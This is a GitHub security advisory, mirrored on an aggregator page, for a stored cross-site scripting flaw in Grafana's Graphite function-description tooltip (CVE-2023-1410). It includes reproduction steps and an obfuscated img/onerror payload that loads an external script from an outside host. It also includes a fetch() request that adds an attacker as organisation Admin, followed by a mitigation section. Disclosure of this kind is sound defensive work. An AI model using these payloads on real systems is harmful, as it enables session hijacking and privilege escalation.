Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS1xcnJnLWd3N3ctdnA3Ns4AAyQj

Grafana Stored Cross-site Scripting in Graphite FunctionDescription tooltip

Summary

When a Graphite data source is added, one can use this data source in a dashboard. This contains a feature to use Functions. Once a function is selected, a small tooltip will be shown when hovering over the name of the function. This tooltip will allow you to delete the selected Function from your query or show the Function Description. However, no sanitization is done when adding this description to the DOM. Since it is not uncommon to connect to public data sources, and attacker could host a Graphite instance with modified Function Descriptions containing XSS payloads. When the victim uses it in a query and accidentally hovers over the Function Description, an attacker controlled XSS payload will be executed. This can be used to add the attacker as an Admin for example.

Details

  1. Spin up your own Graphite instance. I've done this using the make devenv sources=graphite.
  2. Now start a terminal for your Graphite container and modify the following file /opt/graphite/webapp/graphite/render/functions.py
  3. Basically you can pick any function but I picked the aggregateSeriesLists function. Modify its description to be "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>

The result would look like this:

def aggregateSeriesLists(requestContext, seriesListFirstPos, seriesListSecondPos, func, xFilesFactor=None):
  """                                                                              
                                                                                              
  "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>
                                                                           
  """                  
  if len(seriesListFirstPos) != len(seriesListSecondPos):   
    raise InputParameterError(             
      "seriesListFirstPos and seriesListSecondPos argument must have equal length")
  results = []                                          
                                    
  for i in range(0, len(seriesListFirstPos)):        
    firstSeries = seriesListFirstPos[i]                                           
    secondSeries = seriesListSecondPos[i]         
    aggregated = aggregate(requestContext, (firstSeries, secondSeries), func, xFilesFactor=xFilesFactor) 
    if not aggregated: # empty list, no data found                          
      continue                   
    result = aggregated[0]  # aggregate() can only return len 1 list           
    result.name = result.name[:result.name.find('Series(')] + 'Series(%s,%s)' % (firstSeries.name, secondSeries.name)
    results.append(result)                                                                           
  return results                                                         
                                                                                                                   
                                                                                                       
aggregateSeriesLists.group = 'Combine'                                                             
aggregateSeriesLists.params = [
  Param('seriesListFirstPos', ParamTypes.seriesList, required=True),
  Param('seriesListSecondPos', ParamTypes.seriesList, required=True),
  Param('func', ParamTypes.aggFunc, required=True),                                                       
  Param('xFilesFactor', ParamTypes.float),                                
]                                                                                                
  1. Save and quit the file. Restart your Graphite Container (I did this using the Restart Icon in Docker Desktop)
  2. Now login to your Grafana instance as an Organisation Admin.
  3. Navigate to http://[grafana]/plugins/graphite and click Create a Graphite data source
  4. Add the url to the attackers Graphite instance (maybe enable Skip TLS Verify) and click Save & test and Explore
  5. In the newly opened page click the + icon next to Functions and search for aggregateSeriesLists and click it to add it.
  6. Now hover over aggregateSeriesLists with your mouse and move your mouse to the ? icon.

Result

Our payload will trigger and in this case it will include an external script to trigger the alerts.

Decoded payload

var a=document.createElement("script");a.src="https://cm2.tel";document.body.appendChild(a);

image

Impact

In the POC we've picked 1 function to have a XSS payload, but a real attacker would of course maximize the likelihood by replacing all of it's descriptions with XSS payloads. As shown above the attacker can now run arbitrary javascript in the browser of the victim. The victim can be any user using the malicious Graphite instance in a query (or while Exploring), including the Organisation Admin. If so, an attacker could include a payload to add them as an admin themselves.

An example would be something like this:

fetch("/api/org/invites", {
  "headers": {
    "content-type": "application/json"
  },
  "body": "{\"name\":\"\",\"email\":\"\",\"role\":\"Admin\",\"sendEmail\":true,\"loginOrEmail\":\"[email protected]\"}",
  "method": "POST",
  "credentials": "include"
});

Mitigation

The vulnerability seems to occur in the following file: public\app\plugins\datasource\graphite\components\FunctionEditorControls.tsx

const FunctionDescription = React.lazy(async () => {
  // @ts-ignore
  const { default: rst2html } = await import(/* webpackChunkName: "rst2html" */ 'rst2html');
  return {
    default(props: { description?: string }) {
      return <div dangerouslySetInnerHTML={{ __html: rst2html(props.description ?? '') }} />;
    },
  };
});

In many other similar cases, some form of sanitization is used. I would advise to use the same here as rst2html itself will just leave HTML untouched when parsing the expected reStructuredText from Graphite. So now when it is applied using dangerouslySetInnerHTML our XSS payload will survive.

Permalink: https://github.com/advisories/GHSA-qrrg-gw7w-vp76
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcnJnLWd3N3ctdnA3Ns4AAyQj
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: almost 2 years ago
Updated: almost 2 years ago


CVSS Score: 6.2
CVSS vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N

EPSS Percentage: 0.00064
EPSS Percentile: 0.29512

Identifiers: GHSA-qrrg-gw7w-vp76, CVE-2023-1410
References: Repository: https://github.com/grafana/bugbounty
Blast Radius: 10.5

Affected Packages

go:github.com/grafana/grafana
Dependent packages: 37
Dependent repositories: 50
Downloads:
Affected Version Ranges: >= 9.0.0, < 9.2.15, >= 9.4.0, < 9.4.7, >= 9.3.0, < 9.3.11, >= 8.0.0, < 8.5.22
Fixed in: 9.2.15, 9.4.7, 9.3.11, 8.5.22
All affected versions:
All unaffected versions: 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.1.0, 1.2.0, 1.3.0, 1.4.0, 1.5.0, 1.5.1, 1.5.2, 1.5.3, 1.5.4, 1.6.0, 1.6.1, 1.7.0, 1.8.0, 1.8.1, 1.9.0, 1.9.1, 2.0.1, 2.0.2, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.5.0, 2.6.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.1.0, 3.1.1, 4.0.0, 4.0.1, 4.0.2, 4.1.0, 4.1.1, 4.1.2, 4.2.0, 4.3.0, 4.3.1, 4.3.2, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.5.0, 4.5.1, 4.5.2, 4.6.0, 4.6.1, 4.6.2, 4.6.3, 4.6.4, 4.6.5, 5.0.0, 5.0.1, 5.0.2, 5.0.3, 5.0.4, 5.1.0, 5.1.1, 5.1.2, 5.1.3, 5.1.4, 5.1.5, 5.2.0, 5.2.1, 5.2.2, 5.2.3, 5.2.4, 5.2.5, 5.3.0, 5.3.1, 5.3.2, 5.3.3, 5.3.4, 5.4.0, 5.4.1, 5.4.2, 5.4.3, 5.4.4, 5.4.5, 6.0.0, 6.0.1, 6.0.2, 6.1.0, 6.1.1, 6.1.2, 6.1.3, 6.1.4, 6.1.6